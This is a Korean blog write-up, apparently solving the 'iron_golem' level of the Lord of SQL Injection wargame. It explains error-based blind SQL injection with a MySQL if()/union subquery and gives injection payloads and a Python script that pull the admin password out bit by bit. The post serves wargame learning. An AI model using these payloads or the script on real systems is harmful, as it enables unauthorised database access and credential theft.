-
[LOS] 21. iron_golem 문제 풀이Wargame/LOS (Lord of SQL Injection) 2019. 7. 30. 03:05
또 Blind SQL 인젝션 문제다...
이번 문제에서는 이전 문제에서처럼 쿼리문이 맞았을 때 Hello admin과 같은 문구가 뜨지 않는다. 즉, 쿼리문의 참/거짓 여부를 알 수가 없다. 이런 경우 웹 요청에 대한 응답 시간의 차이를 이용하여 pw를 찾아야 하는데... 문제는 이러한 방법에 사용되는 sleep과 benchmark 함수가 필터링 목록에 있기 때문에 이것도 사용할 수가 없다.
그런데 코드를 자세히 보면 쿼리문에 에러가 발생할 경우 에러를 출력해주고 exit한다는 것을 알 수 있다. 즉 이 문제에서는 에러의 발생 여부만 알 수 있다. 따라서 에러가 발생하지 않으면 참이고, 발생하면 거짓이라고 판별할 수 있도록 쿼리문을 짜면 pw에 대한 정보를 알아낼 수 있을 것이다.
이를 위해서는 쿼리문에 조건문이 포함되어야 하는데, MySQL에서는 if문을 사용한다. (MSSQL은 CASE문을 사용)
if문의 형식은 다음과 같다.
if (조건, 참일 때의 결과, 거짓일 때의 결과)
위 형식에서 거짓일 때의 결과로 에러를 발생시키는 서브 쿼리문을 삽입하면 된다.
if문 내에 (select 1 union select 2)라는 서브 쿼리문을 넣으면 아래와 같은 에러가 발생한다.
select 1 union select 2 자체는 단독으로 쓰일 경우 맞는 쿼리문이다. 하지만 if문 내에서 서브 쿼리문으로 쓰일 경우, 이는 2개의 row를 반환하기 때문에 에러가 발생한다. if문의 결과로 출력되는 값은 하나의 row에 저장되기 때문이다. (2개의 row가 하나의 row에 동시에 들어올 수 없기 때문이다.)수정) 댓글로 질문이 달려서 직접 테이블을 생성해 실행해보았다. select 1 union select 2 를 수행하면 아래와 같이 2개의 row가 생성된다. 즉, 단독으로 사용될 경우 아무 문제가 없는 쿼리문이다.
하지만 if문 내에서 서브쿼리로 작성될 경우 에러가 발생하는데, 그 이유는 id 컬럼의 한 row에 2개의 row를 삽입하려고 했기 때문이다. 즉, (select 1 union select 2) 라는 서브쿼리로 생성된 2개의 row는 id 컬럼 하나의 row에 삽입될 수 없기 때문에 아래와 같은 에러 문구가 출력된다.
이러한 점들을 이용하여, 먼저 pw의 길이를 찾는 쿼리를 작성했다.
?pw=' or id='admin' and if(length(pw)=1,1,(select 1 union select 2))%23
pw의 길이는 32이다.
마찬가지 방법으로 ord와 mid 함수를 사용하여 pw를 일일이 찾는다.
그런데 내가 원래 썼던 코드를 사용했는데 pw가 제대로 나타나지 않았다. xavis 문제처럼 이번에도 pw가 멀티 바이트로 이루어진 듯하다. (..........................................)
저번에 xavis 문제를 풀 때 왜 내가 작성한 코드로는 pw가 나타나지 않았는지 이제 알았는데, Python 2 버전에서는 아스키코드의 범위를 벗어나는 문자를 chr 함수로 변환하지 못하기 때문이었다. 근데 왜 hex로 변환해도 hex값조차 이상하게 출력되었는지는 이유를 잘 모르겠다...
그래서 그냥 앞으로 Python 3 버전으로 작성하고, hex가 아닌 binary 값으로 비교하기로 했다. 소스코드는 이 분이 작성하신 코드를 참조했다. (저번 xavis 문제에서 유일하게 정상적인 패스워드가 출력되었던 코드... 감사합니다...)
substr(lpad(bin(ord(substr(pw, i, 1))), bit_length, 0), j, 1) = 1 에 대해 설명하자면,
먼저 pw의 각 글자(i)를 substr 함수로 추출한 다음, 추출한 글자의 ascii 코드값(ord)을 2진수(bin)로 변환한다.
(lpad 함수는 변환된 2진수의 값을 16 bit로 맞춰주기 위한 패딩 함수이다. 만약 변환된 2진수가 5 bit라면, 맨 왼쪽부터 나머지 11 bit를 0으로 채워준다.)
그리고 변환된 2진수의 각 자리를 substr 함수로 또 추출해 1인지 0인지 각 비트마다 비교해서 pw의 각 글자의 이진수값을 알아낸다.
12345678910111213141516171819202122232425262728293031import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)headers = {'Cookie':'PHPSESSID=본인의 세션 아이디'}URL = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"pw_length = 32bit_length = 16pw = ''print("\n=== Find Password ===\n")for i in range(1, pw_length+1):bit = ''for j in range(1, bit_length+1):payload = "pw=' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(i, bit_length, j)res = requests.get(url=URL+payload, headers=headers, verify=False)if 'Subquery' in res.text:# 에러 발생 => bit == 0bit += '0'else:# True -> bit == 1bit += '1'pw += chr(int(bit, 2))print("pw (count %02d): %s (bit: %s, hex: %s)" % (i, chr(int(bit, 2)), bit, hex(int(bit, 2))))print('\n>>> Final Password: %s' % pw)위 코드로 작성한 프로그램을 돌려본 결과, pw는 06b5a6c16e8830475f983cc3a825ee9a이었다.
(결국 pw로 나온건 아스키코드 범위 내에 있는 문자들이었는데 왜 다른 코드로는 안됐는지 이것도 의문...)
'Wargame > LOS (Lord of SQL Injection)' 카테고리의 다른 글
[LOS] 23. hell_fire 문제 풀이 (0) 2019.08.01 [LOS] 22. dark_eyes 문제 풀이 (0) 2019.07.31 [LOS] 20. dragon 문제 풀이 (0) 2019.07.29 [LOS] 19. xavis 문제 풀이 (4) 2019.07.24 [LOS] 18. nightmare 문제 풀이 (0) 2019.07.22